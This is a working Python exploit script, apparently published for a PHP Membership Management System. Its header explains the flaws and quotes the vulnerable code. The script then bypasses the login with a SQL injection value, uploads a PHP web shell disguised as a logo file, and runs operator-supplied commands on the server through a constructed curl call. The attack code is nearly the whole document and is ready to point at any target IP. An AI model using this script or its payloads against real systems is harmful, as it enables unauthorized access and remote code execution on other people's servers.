from requests_toolbelt.multipart.encoder import MultipartEncoder
import requests
import string
import random
import os# ========================================================================================================
# Application: Membership Management System
# Bugs: SQL injection + Insecure File Upload = Remote Code Execution
# Date: 14.03.2024
# Exploit Author: SoSPiro
# Vendor Homepage: https://codeastro.com/author/nbadmin/
# Software Link: https://codeastro.com/membership-management-system-in-php-with-source-code/
# Version: 1.0
# --------------------------------------------------
# Vulnerability Description:
# The sql injection vulnerability was found in the file `Membership-PHP/index.php`
# The login page located at MembershipM-PHP/index.php contains a SQL Injection vulnerability.
# This vulnerability allows attackers to inject malicious SQL code into the input fields used to provide login credentials.
# Through this exploit, unauthorized users can gain access to sensitive data or even take control of the system.
# Vulnerable Code Section:
# $email = $_POST['email'];
# $password = $_POST['password'];
# $hashed_password = md5($password);
# $sql = "SELECT * FROM users WHERE email = '$email' AND password = '$hashed_password'";
# The Insecure File Upload vulnerability appeared in this file `MembershipM-PHP/settings.php`
# The MembershipM-PHP/settings.php file contains an insecure file upload vulnerability.
# This allows attackers to upload unauthorized files to the server and potentially execute remote code execution (RCE) attacks.
# Vulnerable Code Section:
# if (isset($_FILES['logo']) && $_FILES['logo']['error'] === UPLOAD_ERR_OK) {
# $logoName = $_FILES['logo']['name'];
# $logoTmpName = $_FILES['logo']['tmp_name'];
# $logoType = $_FILES['logo']['type'];
# $uploadPath = 'uploads/';
# $targetPath = $uploadPath . $logoName;
# if (move_uploaded_file($logoTmpName, $targetPath)) {
# $updateSettingsQuery = "UPDATE settings SET system_name = '$systemName', logo = '$targetPath', currency = '$currency' WHERE id = 1";
# $updateSettingsResult = $conn->query($updateSettingsQuery);
# if ($updateSettingsResult) {
# $successMessage = 'System settings updated successfully.';} else {
# $errorMessage = 'Error updating system settings: ' . $conn->error;}} else {
# $errorMessage = 'Error moving uploaded file.';}}
# --------------------------------------------------
# reference : https://sospiro014.github.io/Membership-Management-System-RCE
# I created the python code used in the exploit by looking at this https://www.exploit-db.com/exploits/50123 source and modifying it
# ========================================================================================================
# generate random string 8 chars
def randomGen(size=8, chars=string.ascii_lowercase):
return ''.join(random.choice(chars) for _ in range(size))
# generating a random username and a random web shell file
shellFile = randomGen() + ".php"
# creating a payload for the login
payload = {
"email": "[email protected]' or 0=0 #",
"password": "a",
"login": ""
}
session = requests.Session()
# changeme
urlBase = "http://172.17.86.197/" # change this target ip :)
# login
url = urlBase + "index.php"
print("=== executing SQL Injection ===")
req = session.post(url, payload, allow_redirects=False)
# check if 'Set-Cookie' header is present in the response
if 'Set-Cookie' in req.headers:
cookie = req.headers["Set-Cookie"]
print("=== authenticated admin cookie:" + cookie + " ===")
else:
print("Set-Cookie header not found in the response.")
exit()
# upload shell
url = urlBase + "settings.php"
# Get user input for the command to execute
cmd_input = input("Enter the command to execute: ")
# PHP code to execute the command received from the user
php_code = "<?php if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST['cmd']); system($cmd);die; }?>"
mp_encoder = MultipartEncoder(
fields={
"systemName": "Membership System",
"currency": "$",
"logo": (shellFile, php_code, "application/x-php"),
"updateSettings": ""
}
)
headers = {
"Cookie": cookie,
'Content-Type': mp_encoder.content_type
}
print("=== login user and uploading shell " + shellFile + " ===")
req = session.post(url, data=mp_encoder, allow_redirects=False, headers=headers)
# curl the shell for test
requestUrl = "curl " + urlBase + "uploads/" + shellFile + "?cmd=" + cmd_input
print("=== issuing the command: " + requestUrl + " ===")
print("=== CURL OUTPUT ===")
os.system(requestUrl)